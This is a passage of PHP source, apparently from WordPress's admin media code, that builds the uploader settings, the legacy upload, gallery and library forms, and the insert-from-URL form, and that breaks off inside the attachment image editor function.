	 * but iOS 7.x has a bug that prevents uploading of videos when enabled.
	 * See #29602.
	 */
	if (
		wp_is_mobile() &&
		str_contains( $_SERVER['HTTP_USER_AGENT'], 'OS 7_' ) &&
		str_contains( $_SERVER['HTTP_USER_AGENT'], 'like Mac OS X' )
	) {
		$plupload_init['multi_selection'] = false;
	}

	// Check if WebP images can be edited.
	if ( ! wp_image_editor_supports( array( 'mime_type' => 'image/webp' ) ) ) {
		$plupload_init['webp_upload_error'] = true;
	}

	/**
	 * Filters the default Plupload settings.
	 *
	 * @since 3.3.0
	 *
	 * @param array $plupload_init An array of default settings used by Plupload.
	 */
	$plupload_init = apply_filters( 'plupload_init', $plupload_init );

	?>
	<script type="text/javascript">
	<?php
	// Verify size is an int. If not return default value.
	$large_size_h = absint( get_option( 'large_size_h' ) );

	if ( ! $large_size_h ) {
		$large_size_h = 1024;
	}

	$large_size_w = absint( get_option( 'large_size_w' ) );

	if ( ! $large_size_w ) {
		$large_size_w = 1024;
	}

	?>
	var resize_height = <?php echo $large_size_h; ?>, resize_width = <?php echo $large_size_w; ?>,
	wpUploaderInit = <?php echo wp_json_encode( $plupload_init ); ?>;
	</script>

	<div id="plupload-upload-ui" class="hide-if-no-js">
	<?php
	/**
	 * Fires before the upload interface loads.
	 *
	 * @since 2.6.0 As 'pre-flash-upload-ui'
	 * @since 3.3.0
	 */
	do_action( 'pre-plupload-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	?>
	<div id="drag-drop-area">
		<div class="drag-drop-inside">
		<p class="drag-drop-info"><?php _e( 'Drop files to upload' ); ?></p>
		<p><?php _ex( 'or', 'Uploader: Drop files here - or - Select Files' ); ?></p>
		<p class="drag-drop-buttons"><input id="plupload-browse-button" type="button" value="<?php esc_attr_e( 'Select Files' ); ?>" class="button" /></p>
		</div>
	</div>
	<?php
	/**
	 * Fires after the upload interface loads.
	 *
	 * @since 2.6.0 As 'post-flash-upload-ui'
	 * @since 3.3.0
	 */
	do_action( 'post-plupload-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	?>
	</div>

	<div id="html-upload-ui" class="hide-if-js">
	<?php
	/**
	 * Fires before the upload button in the media upload interface.
	 *
	 * @since 2.6.0
	 */
	do_action( 'pre-html-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	?>
	<p id="async-upload-wrap">
		<label class="screen-reader-text" for="async-upload">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Upload' );
			?>
		</label>
		<input type="file" name="async-upload" id="async-upload" />
		<?php submit_button( __( 'Upload' ), 'primary', 'html-upload', false ); ?>
		<a href="#" onclick="try{top.tb_remove();}catch(e){}; return false;"><?php _e( 'Cancel' ); ?></a>
	</p>
	<div class="clear"></div>
	<?php
	/**
	 * Fires after the upload button in the media upload interface.
	 *
	 * @since 2.6.0
	 */
	do_action( 'post-html-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	?>
	</div>

<p class="max-upload-size">
	<?php
	/* translators: %s: Maximum allowed file size. */
	printf( __( 'Maximum upload file size: %s.' ), esc_html( size_format( $max_upload_size ) ) );
	?>
</p>
	<?php

	/**
	 * Fires on the post upload UI screen.
	 *
	 * Legacy (pre-3.5.0) media workflow hook.
	 *
	 * @since 2.6.0
	 */
	do_action( 'post-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
}

/**
 * Outputs the legacy media upload form for a given media type.
 *
 * @since 2.5.0
 *
 * @param string       $type
 * @param array        $errors
 * @param int|WP_Error $id
 */
function media_upload_type_form( $type = 'file', $errors = null, $id = null ) {

	media_upload_header();

	$post_id = isset( $_REQUEST['post_id'] ) ? (int) $_REQUEST['post_id'] : 0;

	$form_action_url = admin_url( "media-upload.php?type=$type&tab=type&post_id=$post_id" );

	/**
	 * Filters the media upload form action URL.
	 *
	 * @since 2.6.0
	 *
	 * @param string $form_action_url The media upload form action URL.
	 * @param string $type            The type of media. Default 'file'.
	 */
	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
	$form_class      = 'media-upload-form type-form validate';

	if ( get_user_setting( 'uploader' ) ) {
		$form_class .= ' html-uploader';
	}

	?>
	<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="<?php echo $type; ?>-form">
		<?php submit_button( '', 'hidden', 'save', false ); ?>
	<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
		<?php wp_nonce_field( 'media-form' ); ?>

	<h3 class="media-title"><?php _e( 'Add media files from your computer' ); ?></h3>

	<?php media_upload_form( $errors ); ?>

	<script type="text/javascript">
	jQuery(function($){
		var preloaded = $(".media-item.preloaded");
		if ( preloaded.length > 0 ) {
			preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
		}
		updateMediaForm();
	});
	</script>
	<div id="media-items">
	<?php

	if ( $id ) {
		if ( ! is_wp_error( $id ) ) {
			add_filter( 'attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2 );
			echo get_media_items( $id, $errors );
		} else {
			echo '<div id="media-upload-error">' . esc_html( $id->get_error_message() ) . '</div></div>';
			exit;
		}
	}

	?>
	</div>

	<p class="savebutton ml-submit">
		<?php submit_button( __( 'Save all changes' ), '', 'save', false ); ?>
	</p>
	</form>
	<?php
}

/**
 * Outputs the legacy media upload form for external media.
 *
 * @since 2.7.0
 *
 * @param string  $type
 * @param object  $errors
 * @param int     $id
 */
function media_upload_type_url_form( $type = null, $errors = null, $id = null ) {
	if ( null === $type ) {
		$type = 'image';
	}

	media_upload_header();

	$post_id = isset( $_REQUEST['post_id'] ) ? (int) $_REQUEST['post_id'] : 0;

	$form_action_url = admin_url( "media-upload.php?type=$type&tab=type&post_id=$post_id" );
	/** This filter is documented in wp-admin/includes/media.php */
	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
	$form_class      = 'media-upload-form type-form validate';

	if ( get_user_setting( 'uploader' ) ) {
		$form_class .= ' html-uploader';
	}

	?>
	<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="<?php echo $type; ?>-form">
	<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
		<?php wp_nonce_field( 'media-form' ); ?>

	<h3 class="media-title"><?php _e( 'Insert media from another website' ); ?></h3>

	<script type="text/javascript">
	var addExtImage = {

	width : '',
	height : '',
	align : 'alignnone',

	insert : function() {
		var t = this, html, f = document.forms[0], cls, title = '', alt = '', caption = '';

		if ( '' === f.src.value || '' === t.width )
			return false;

		if ( f.alt.value )
			alt = f.alt.value.replace(/'/g, '&#039;').replace(/"/g, '&quot;').replace(/</g, '&lt;').replace(/>/g, '&gt;');

		<?php
		/** This filter is documented in wp-admin/includes/media.php */
		if ( ! apply_filters( 'disable_captions', '' ) ) {
			?>
			if ( f.caption.value ) {
				caption = f.caption.value.replace(/\r\n|\r/g, '\n');
				caption = caption.replace(/<[a-zA-Z0-9]+( [^<>]+)?>/g, function(a){
					return a.replace(/[\r\n\t]+/, ' ');
				});

				caption = caption.replace(/\s*\n\s*/g, '<br />');
			}
			<?php
		}

		?>
		cls = caption ? '' : ' class="'+t.align+'"';

		html = '<img alt="'+alt+'" src="'+f.src.value+'"'+cls+' width="'+t.width+'" height="'+t.height+'" />';

		if ( f.url.value ) {
			url = f.url.value.replace(/'/g, '&#039;').replace(/"/g, '&quot;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
			html = '<a href="'+url+'">'+html+'</a>';
		}

		if ( caption )
			html = '[caption id="" align="'+t.align+'" width="'+t.width+'"]'+html+caption+'[/caption]';

		var win = window.dialogArguments || opener || parent || top;
		win.send_to_editor(html);
		return false;
	},

	resetImageData : function() {
		var t = addExtImage;

		t.width = t.height = '';
		document.getElementById('go_button').style.color = '#bbb';
		if ( ! document.forms[0].src.value )
			document.getElementById('status_img').innerHTML = '';
		else document.getElementById('status_img').innerHTML = '<img src="<?php echo esc_url( admin_url( 'images/no.png' ) ); ?>" alt="" />';
	},

	updateImageData : function() {
		var t = addExtImage;

		t.width = t.preloadImg.width;
		t.height = t.preloadImg.height;
		document.getElementById('go_button').style.color = '#333';
		document.getElementById('status_img').innerHTML = '<img src="<?php echo esc_url( admin_url( 'images/yes.png' ) ); ?>" alt="" />';
	},

	getImageData : function() {
		if ( jQuery('table.describe').hasClass('not-image') )
			return;

		var t = addExtImage, src = document.forms[0].src.value;

		if ( ! src ) {
			t.resetImageData();
			return false;
		}

		document.getElementById('status_img').innerHTML = '<img src="<?php echo esc_url( admin_url( 'images/spinner-2x.gif' ) ); ?>" alt="" width="16" height="16" />';
		t.preloadImg = new Image();
		t.preloadImg.onload = t.updateImageData;
		t.preloadImg.onerror = t.resetImageData;
		t.preloadImg.src = src;
	}
	};

	jQuery( function($) {
		$('.media-types input').click( function() {
			$('table.describe').toggleClass('not-image', $('#not-image').prop('checked') );
		});
	} );
	</script>

	<div id="media-items">
	<div class="media-item media-blank">
	<?php
	/**
	 * Filters the insert media from URL form HTML.
	 *
	 * @since 3.3.0
	 *
	 * @param string $form_html The insert from URL form HTML.
	 */
	echo apply_filters( 'type_url_form_media', wp_media_insert_url_form( $type ) );

	?>
	</div>
	</div>
	</form>
	<?php
}

/**
 * Adds gallery form to upload iframe.
 *
 * @since 2.5.0
 *
 * @global string $redir_tab
 * @global string $type
 * @global string $tab
 *
 * @param array $errors
 */
function media_upload_gallery_form( $errors ) {
	global $redir_tab, $type;

	$redir_tab = 'gallery';
	media_upload_header();

	$post_id         = (int) $_REQUEST['post_id'];
	$form_action_url = admin_url( "media-upload.php?type=$type&tab=gallery&post_id=$post_id" );
	/** This filter is documented in wp-admin/includes/media.php */
	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
	$form_class      = 'media-upload-form validate';

	if ( get_user_setting( 'uploader' ) ) {
		$form_class .= ' html-uploader';
	}

	?>
	<script type="text/javascript">
	jQuery(function($){
		var preloaded = $(".media-item.preloaded");
		if ( preloaded.length > 0 ) {
			preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
			updateMediaForm();
		}
	});
	</script>
	<div id="sort-buttons" class="hide-if-no-js">
	<span>
		<?php _e( 'All Tabs:' ); ?>
	<a href="#" id="showall"><?php _e( 'Show' ); ?></a>
	<a href="#" id="hideall" style="display:none;"><?php _e( 'Hide' ); ?></a>
	</span>
		<?php _e( 'Sort Order:' ); ?>
	<a href="#" id="asc"><?php _e( 'Ascending' ); ?></a> |
	<a href="#" id="desc"><?php _e( 'Descending' ); ?></a> |
	<a href="#" id="clear"><?php _ex( 'Clear', 'verb' ); ?></a>
	</div>
	<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="gallery-form">
		<?php wp_nonce_field( 'media-form' ); ?>
	<table class="widefat">
	<thead><tr>
	<th><?php _e( 'Media' ); ?></th>
	<th class="order-head"><?php _e( 'Order' ); ?></th>
	<th class="actions-head"><?php _e( 'Actions' ); ?></th>
	</tr></thead>
	</table>
	<div id="media-items">
		<?php add_filter( 'attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2 ); ?>
		<?php echo get_media_items( $post_id, $errors ); ?>
	</div>

	<p class="ml-submit">
		<?php
		submit_button(
			__( 'Save all changes' ),
			'savebutton',
			'save',
			false,
			array(
				'id'    => 'save-all',
				'style' => 'display: none;',
			)
		);
		?>
	<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
	<input type="hidden" name="type" value="<?php echo esc_attr( $GLOBALS['type'] ); ?>" />
	<input type="hidden" name="tab" value="<?php echo esc_attr( $GLOBALS['tab'] ); ?>" />
	</p>

	<div id="gallery-settings" style="display:none;">
	<div class="title"><?php _e( 'Gallery Settings' ); ?></div>
	<table id="basic" class="describe"><tbody>
		<tr>
		<th scope="row" class="label">
			<label>
			<span class="alignleft"><?php _e( 'Link thumbnails to:' ); ?></span>
			</label>
		</th>
		<td class="field">
			<input type="radio" name="linkto" id="linkto-file" value="file" />
			<label for="linkto-file" class="radio"><?php _e( 'Image File' ); ?></label>

			<input type="radio" checked="checked" name="linkto" id="linkto-post" value="post" />
			<label for="linkto-post" class="radio"><?php _e( 'Attachment Page' ); ?></label>
		</td>
		</tr>

		<tr>
		<th scope="row" class="label">
			<label>
			<span class="alignleft"><?php _e( 'Order images by:' ); ?></span>
			</label>
		</th>
		<td class="field">
			<select id="orderby" name="orderby">
				<option value="menu_order" selected="selected"><?php _e( 'Menu order' ); ?></option>
				<option value="title"><?php _e( 'Title' ); ?></option>
				<option value="post_date"><?php _e( 'Date/Time' ); ?></option>
				<option value="rand"><?php _e( 'Random' ); ?></option>
			</select>
		</td>
		</tr>

		<tr>
		<th scope="row" class="label">
			<label>
			<span class="alignleft"><?php _e( 'Order:' ); ?></span>
			</label>
		</th>
		<td class="field">
			<input type="radio" checked="checked" name="order" id="order-asc" value="asc" />
			<label for="order-asc" class="radio"><?php _e( 'Ascending' ); ?></label>

			<input type="radio" name="order" id="order-desc" value="desc" />
			<label for="order-desc" class="radio"><?php _e( 'Descending' ); ?></label>
		</td>
		</tr>

		<tr>
		<th scope="row" class="label">
			<label>
			<span class="alignleft"><?php _e( 'Gallery columns:' ); ?></span>
			</label>
		</th>
		<td class="field">
			<select id="columns" name="columns">
				<option value="1">1</option>
				<option value="2">2</option>
				<option value="3" selected="selected">3</option>
				<option value="4">4</option>
				<option value="5">5</option>
				<option value="6">6</option>
				<option value="7">7</option>
				<option value="8">8</option>
				<option value="9">9</option>
			</select>
		</td>
		</tr>
	</tbody></table>

	<p class="ml-submit">
	<input type="button" class="button" style="display:none;" onMouseDown="wpgallery.update();" name="insert-gallery" id="insert-gallery" value="<?php esc_attr_e( 'Insert gallery' ); ?>" />
	<input type="button" class="button" style="display:none;" onMouseDown="wpgallery.update();" name="update-gallery" id="update-gallery" value="<?php esc_attr_e( 'Update gallery settings' ); ?>" />
	</p>
	</div>
	</form>
	<?php
}

/**
 * Outputs the legacy media upload form for the media library.
 *
 * @since 2.5.0
 *
 * @global wpdb      $wpdb            WordPress database abstraction object.
 * @global WP_Query  $wp_query        WordPress Query object.
 * @global WP_Locale $wp_locale       WordPress date and time locale object.
 * @global string    $type
 * @global string    $tab
 * @global array     $post_mime_types
 *
 * @param array $errors
 */
function media_upload_library_form( $errors ) {
	global $wpdb, $wp_query, $wp_locale, $type, $tab, $post_mime_types;

	media_upload_header();

	$post_id = isset( $_REQUEST['post_id'] ) ? (int) $_REQUEST['post_id'] : 0;

	$form_action_url = admin_url( "media-upload.php?type=$type&tab=library&post_id=$post_id" );
	/** This filter is documented in wp-admin/includes/media.php */
	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
	$form_class      = 'media-upload-form validate';

	if ( get_user_setting( 'uploader' ) ) {
		$form_class .= ' html-uploader';
	}

	$q                   = $_GET;
	$q['posts_per_page'] = 10;
	$q['paged']          = isset( $q['paged'] ) ? (int) $q['paged'] : 0;
	if ( $q['paged'] < 1 ) {
		$q['paged'] = 1;
	}
	$q['offset'] = ( $q['paged'] - 1 ) * 10;
	if ( $q['offset'] < 1 ) {
		$q['offset'] = 0;
	}

	list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query( $q );

	?>
	<form id="filter" method="get">
	<input type="hidden" name="type" value="<?php echo esc_attr( $type ); ?>" />
	<input type="hidden" name="tab" value="<?php echo esc_attr( $tab ); ?>" />
	<input type="hidden" name="post_id" value="<?php echo (int) $post_id; ?>" />
	<input type="hidden" name="post_mime_type" value="<?php echo isset( $_GET['post_mime_type'] ) ? esc_attr( $_GET['post_mime_type'] ) : ''; ?>" />
	<input type="hidden" name="context" value="<?php echo isset( $_GET['context'] ) ? esc_attr( $_GET['context'] ) : ''; ?>" />

	<p id="media-search" class="search-box">
		<label class="screen-reader-text" for="media-search-input">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Search Media:' );
			?>
		</label>
		<input type="search" id="media-search-input" name="s" value="<?php the_search_query(); ?>" />
		<?php submit_button( __( 'Search Media' ), '', '', false ); ?>
	</p>

	<ul class="subsubsub">
		<?php
		$type_links = array();
		$_num_posts = (array) wp_count_attachments();
		$matches    = wp_match_mime_types( array_keys( $post_mime_types ), array_keys( $_num_posts ) );
		foreach ( $matches as $_type => $reals ) {
			foreach ( $reals as $real ) {
				if ( isset( $num_posts[ $_type ] ) ) {
					$num_posts[ $_type ] += $_num_posts[ $real ];
				} else {
					$num_posts[ $_type ] = $_num_posts[ $real ];
				}
			}
		}
		// If available type specified by media button clicked, filter by that type.
		if ( empty( $_GET['post_mime_type'] ) && ! empty( $num_posts[ $type ] ) ) {
			$_GET['post_mime_type']                        = $type;
			list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
		}
		if ( empty( $_GET['post_mime_type'] ) || 'all' === $_GET['post_mime_type'] ) {
			$class = ' class="current"';
		} else {
			$class = '';
		}
		$type_links[] = '<li><a href="' . esc_url(
			add_query_arg(
				array(
					'post_mime_type' => 'all',
					'paged'          => false,
					'm'              => false,
				)
			)
		) . '"' . $class . '>' . __( 'All Types' ) . '</a>';
		foreach ( $post_mime_types as $mime_type => $label ) {
			$class = '';

			if ( ! wp_match_mime_types( $mime_type, $avail_post_mime_types ) ) {
				continue;
			}

			if ( isset( $_GET['post_mime_type'] ) && wp_match_mime_types( $mime_type, $_GET['post_mime_type'] ) ) {
				$class = ' class="current"';
			}

			$type_links[] = '<li><a href="' . esc_url(
				add_query_arg(
					array(
						'post_mime_type' => $mime_type,
						'paged'          => false,
					)
				)
			) . '"' . $class . '>' . sprintf( translate_nooped_plural( $label[2], $num_posts[ $mime_type ] ), '<span id="' . $mime_type . '-counter">' . number_format_i18n( $num_posts[ $mime_type ] ) . '</span>' ) . '</a>';
		}
		/**
		 * Filters the media upload mime type list items.
		 *
		 * Returned values should begin with an `<li>` tag.
		 *
		 * @since 3.1.0
		 *
		 * @param string[] $type_links An array of list items containing mime type link HTML.
		 */
		echo implode( ' | </li>', apply_filters( 'media_upload_mime_type_links', $type_links ) ) . '</li>';
		unset( $type_links );
		?>
	</ul>

	<div class="tablenav">

		<?php
		$page_links = paginate_links(
			array(
				'base'      => add_query_arg( 'paged', '%#%' ),
				'format'    => '',
				'prev_text' => __( '&laquo;' ),
				'next_text' => __( '&raquo;' ),
				'total'     => ceil( $wp_query->found_posts / 10 ),
				'current'   => $q['paged'],
			)
		);

		if ( $page_links ) {
			echo "<div class='tablenav-pages'>$page_links</div>";
		}
		?>

	<div class="alignleft actions">
		<?php

		$arc_query = "SELECT DISTINCT YEAR(post_date) AS yyear, MONTH(post_date) AS mmonth FROM $wpdb->posts WHERE post_type = 'attachment' ORDER BY post_date DESC";

		$arc_result = $wpdb->get_results( $arc_query );

		$month_count    = count( $arc_result );
		$selected_month = isset( $_GET['m'] ) ? $_GET['m'] : 0;

		if ( $month_count && ! ( 1 == $month_count && 0 == $arc_result[0]->mmonth ) ) {
			?>
			<select name='m'>
			<option<?php selected( $selected_month, 0 ); ?> value='0'><?php _e( 'All dates' ); ?></option>
			<?php

			foreach ( $arc_result as $arc_row ) {
				if ( 0 == $arc_row->yyear ) {
					continue;
				}

				$arc_row->mmonth = zeroise( $arc_row->mmonth, 2 );

				if ( $arc_row->yyear . $arc_row->mmonth == $selected_month ) {
					$default = ' selected="selected"';
				} else {
					$default = '';
				}

				echo "<option$default value='" . esc_attr( $arc_row->yyear . $arc_row->mmonth ) . "'>";
				echo esc_html( $wp_locale->get_month( $arc_row->mmonth ) . " $arc_row->yyear" );
				echo "</option>\n";
			}

			?>
			</select>
		<?php } ?>

		<?php submit_button( __( 'Filter &#187;' ), '', 'post-query-submit', false ); ?>

	</div>

	<br class="clear" />
	</div>
	</form>

	<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="library-form">
	<?php wp_nonce_field( 'media-form' ); ?>

	<script type="text/javascript">
	jQuery(function($){
		var preloaded = $(".media-item.preloaded");
		if ( preloaded.length > 0 ) {
			preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
			updateMediaForm();
		}
	});
	</script>

	<div id="media-items">
		<?php add_filter( 'attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2 ); ?>
		<?php echo get_media_items( null, $errors ); ?>
	</div>
	<p class="ml-submit">
		<?php submit_button( __( 'Save all changes' ), 'savebutton', 'save', false ); ?>
	<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
	</p>
	</form>
	<?php
}

/**
 * Creates the form for external url.
 *
 * @since 2.7.0
 *
 * @param string $default_view
 * @return string HTML content of the form.
 */
function wp_media_insert_url_form( $default_view = 'image' ) {
	/** This filter is documented in wp-admin/includes/media.php */
	if ( ! apply_filters( 'disable_captions', '' ) ) {
		$caption = '
		<tr class="image-only">
			<th scope="row" class="label">
				<label for="caption"><span class="alignleft">' . __( 'Image Caption' ) . '</span></label>
			</th>
			<td class="field"><textarea id="caption" name="caption"></textarea></td>
		</tr>';
	} else {
		$caption = '';
	}

	$default_align = get_option( 'image_default_align' );

	if ( empty( $default_align ) ) {
		$default_align = 'none';
	}

	if ( 'image' === $default_view ) {
		$view        = 'image-only';
		$table_class = '';
	} else {
		$view        = 'not-image';
		$table_class = $view;
	}

	return '
	<p class="media-types"><label><input type="radio" name="media_type" value="image" id="image-only"' . checked( 'image-only', $view, false ) . ' /> ' . __( 'Image' ) . '</label> &nbsp; &nbsp; <label><input type="radio" name="media_type" value="generic" id="not-image"' . checked( 'not-image', $view, false ) . ' /> ' . __( 'Audio, Video, or Other File' ) . '</label></p>
	<p class="media-types media-types-required-info">' .
		wp_required_field_message() .
	'</p>
	<table class="describe ' . $table_class . '"><tbody>
		<tr>
			<th scope="row" class="label" style="width:130px;">
				<label for="src"><span class="alignleft">' . __( 'URL' ) . '</span> ' . wp_required_field_indicator() . '</label>
				<span class="alignright" id="status_img"></span>
			</th>
			<td class="field"><input id="src" name="src" value="" type="text" required onblur="addExtImage.getImageData()" /></td>
		</tr>

		<tr>
			<th scope="row" class="label">
				<label for="title"><span class="alignleft">' . __( 'Title' ) . '</span> ' . wp_required_field_indicator() . '</label>
			</th>
			<td class="field"><input id="title" name="title" value="" type="text" required /></td>
		</tr>

		<tr class="not-image"><td></td><td><p class="help">' . __( 'Link text, e.g. &#8220;Ransom Demands (PDF)&#8221;' ) . '</p></td></tr>

		<tr class="image-only">
			<th scope="row" class="label">
				<label for="alt"><span class="alignleft">' . __( 'Alternative Text' ) . '</span> ' . wp_required_field_indicator() . '</label>
			</th>
			<td class="field"><input id="alt" name="alt" value="" type="text" required />
			<p class="help">' . __( 'Alt text for the image, e.g. &#8220;The Mona Lisa&#8221;' ) . '</p></td>
		</tr>
		' . $caption . '
		<tr class="align image-only">
			<th scope="row" class="label"><p><label for="align">' . __( 'Alignment' ) . '</label></p></th>
			<td class="field">
				<input name="align" id="align-none" value="none" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ( 'none' === $default_align ? ' checked="checked"' : '' ) . ' />
				<label for="align-none" class="align image-align-none-label">' . __( 'None' ) . '</label>
				<input name="align" id="align-left" value="left" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ( 'left' === $default_align ? ' checked="checked"' : '' ) . ' />
				<label for="align-left" class="align image-align-left-label">' . __( 'Left' ) . '</label>
				<input name="align" id="align-center" value="center" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ( 'center' === $default_align ? ' checked="checked"' : '' ) . ' />
				<label for="align-center" class="align image-align-center-label">' . __( 'Center' ) . '</label>
				<input name="align" id="align-right" value="right" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ( 'right' === $default_align ? ' checked="checked"' : '' ) . ' />
				<label for="align-right" class="align image-align-right-label">' . __( 'Right' ) . '</label>
			</td>
		</tr>

		<tr class="image-only">
			<th scope="row" class="label">
				<label for="url"><span class="alignleft">' . __( 'Link Image To:' ) . '</span></label>
			</th>
			<td class="field"><input id="url" name="url" value="" type="text" /><br />

			<button type="button" class="button" value="" onclick="document.forms[0].url.value=null">' . __( 'None' ) . '</button>
			<button type="button" class="button" value="" onclick="document.forms[0].url.value=document.forms[0].src.value">' . __( 'Link to image' ) . '</button>
			<p class="help">' . __( 'Enter a link URL or click above for presets.' ) . '</p></td>
		</tr>
		<tr class="image-only">
			<td></td>
			<td>
				<input type="button" class="button" id="go_button" style="color:#bbb;" onclick="addExtImage.insert()" value="' . esc_attr__( 'Insert into Post' ) . '" />
			</td>
		</tr>
		<tr class="not-image">
			<td></td>
			<td>
				' . get_submit_button( __( 'Insert into Post' ), '', 'insertonlybutton', false ) . '
			</td>
		</tr>
	</tbody></table>';
}

/**
 * Displays the multi-file uploader message.
 *
 * @since 2.6.0
 *
 * @global int $post_ID
 */
function media_upload_flash_bypass() {
	$browser_uploader = admin_url( 'media-new.php?browser-uploader' );

	$post = get_post();
	if ( $post ) {
		$browser_uploader .= '&amp;post_id=' . (int) $post->ID;
	} elseif ( ! empty( $GLOBALS['post_ID'] ) ) {
		$browser_uploader .= '&amp;post_id=' . (int) $GLOBALS['post_ID'];
	}

	?>
	<p class="upload-flash-bypass">
	<?php
		printf(
			/* translators: 1: URL to browser uploader, 2: Additional link attributes. */
			__( 'You are using the multi-file uploader. Problems? Try the <a href="%1$s" %2$s>browser uploader</a> instead.' ),
			$browser_uploader,
			'target="_blank"'
		);
	?>
	</p>
	<?php
}

/**
 * Displays the browser's built-in uploader message.
 *
 * @since 2.6.0
 */
function media_upload_html_bypass() {
	?>
	<p class="upload-html-bypass hide-if-no-js">
		<?php _e( 'You are using the browser&#8217;s built-in file uploader. The WordPress uploader includes multiple file selection and drag and drop capability. <a href="#">Switch to the multi-file uploader</a>.' ); ?>
	</p>
	<?php
}

/**
 * Used to display a "After a file has been uploaded..." help message.
 *
 * @since 3.3.0
 */
function media_upload_text_after() {}

/**
 * Displays the checkbox to scale images.
 *
 * @since 3.3.0
 */
function media_upload_max_image_resize() {
	$checked = get_user_setting( 'upload_resize' ) ? ' checked="true"' : '';
	$a       = '';
	$end     = '';

	if ( current_user_can( 'manage_options' ) ) {
		$a   = '<a href="' . esc_url( admin_url( 'options-media.php' ) ) . '" target="_blank">';
		$end = '</a>';
	}

	?>
	<p class="hide-if-no-js"><label>
	<input name="image_resize" type="checkbox" id="image_resize" value="true"<?php echo $checked; ?> />
	<?php
	/* translators: 1: Link start tag, 2: Link end tag, 3: Width, 4: Height. */
	printf( __( 'Scale images to match the large size selected in %1$simage options%2$s (%3$d &times; %4$d).' ), $a, $end, (int) get_option( 'large_size_w', '1024' ), (int) get_option( 'large_size_h', '1024' ) );

	?>
	</label></p>
	<?php
}

/**
 * Displays the out of storage quota message in Multisite.
 *
 * @since 3.5.0
 */
function multisite_over_quota_message() {
	echo '<p>' . sprintf(
		/* translators: %s: Allowed space allocation. */
		__( 'Sorry, you have used your space allocation of %s. Please delete some files to upload more files.' ),
		size_format( get_space_allowed() * MB_IN_BYTES )
	) . '</p>';
}

/**
 * Displays the image and editor in the post editor
 *
 * @since 3.5.0
 *
 * @param WP_Post $post A post object.
 */
function edit_form_image_editor( $post ) {
	$open = isset( $_GET['image-editor'] );

	if ( $open ) {
		require_once ABSPATH . 'wp-admin/includes/image-edit.php';
	}

	$thumb_url     = false;
	$attachment_id = (int) $post->ID;

	if ( $attachment_id ) {
		$thumb_url = wp_get_attachment_image_src( $attachment_id, array( 900, 450 ), true );
	}

	$alt_text = get_post_meta( $post->ID, '_wp_attachment_image_alt', true );

	$att_url = wp_get_attachment_url( $post->ID );
	?>
	<div class="wp_attachment_holder wp-clearfix">
	<?php

	if ( wp_attachment_is_image( $post->ID ) ) :
		$image_edit_button = '';
		if ( wp_image_editor_supports( array( 'mime_type' => $post->post_mime_type ) ) ) {
			$nonce             = wp_create_nonce( "image_editor-$post->ID" );
			$image_edit_button = "<input type='button' id='imgedit-open-btn-$post->ID' onclick='imageEdit.open( $post->ID, \"$nonce\" )' class='button' value='" . esc_attr__( 'Edit Image' ) . "' /> <span class='spinner'></span>";
		}

		$open_style     = '';
		$not_open_style = '';

		if ( $open ) {
			$open_style = ' style="display:none"';
		} else {
			$not_open_style = ' style="display:none"';
		}

		?>
		<div class="imgedit-response" id="imgedit-response-<?php echo $attachment_id; ?>"></div>

		<div<?php echo $open_style; ?> class="wp_attachment_image wp-clearfix" id="media-head-<?php echo $attachment_id; ?>">
			<p id="thumbnail-head-<?php echo $attachment_id; ?>"><img class="thumbnail" src="<?php echo set_url_scheme( $thumb_url[0] ); ?>" style="max-width:100%" alt="" /></p>
			<p><?php echo $image_edit_button; ?></p>
		</div>
		<div<?php echo $not_open_style; ?> class="image-editor" id="image-editor-<?php echo $attachment_id; ?>">
		<?php

		if ( $open ) {
			wp_image_editor( $attachment_id );
		}

		?>
		</div>
		<?php
	elseif ( $attachment_id && wp_attachment_is( 'audio', $post ) ) :

		wp_maybe_generate_attachment_metadata( $post );

		echo wp_audio_shortcode( array( 'src' => $att_url ) );

	elseif ( $attachment_id && wp_attachment_is( 'video', $post ) ) :

		wp_maybe_generate_attachment_metadata( $post );

		$meta = wp_get_attachment_metadata( $attachment_id );
		$w    = ! empty( $meta['width'] ) ? min( $meta['width'], 640 ) : 0;
		$h    = ! empty( $meta['height'] ) ? $meta['height'] : 0;

		if ( $h && $w < $meta['width'] ) {
			$h = round( ( $meta['height'] * $w ) / $meta['width'] );
		}

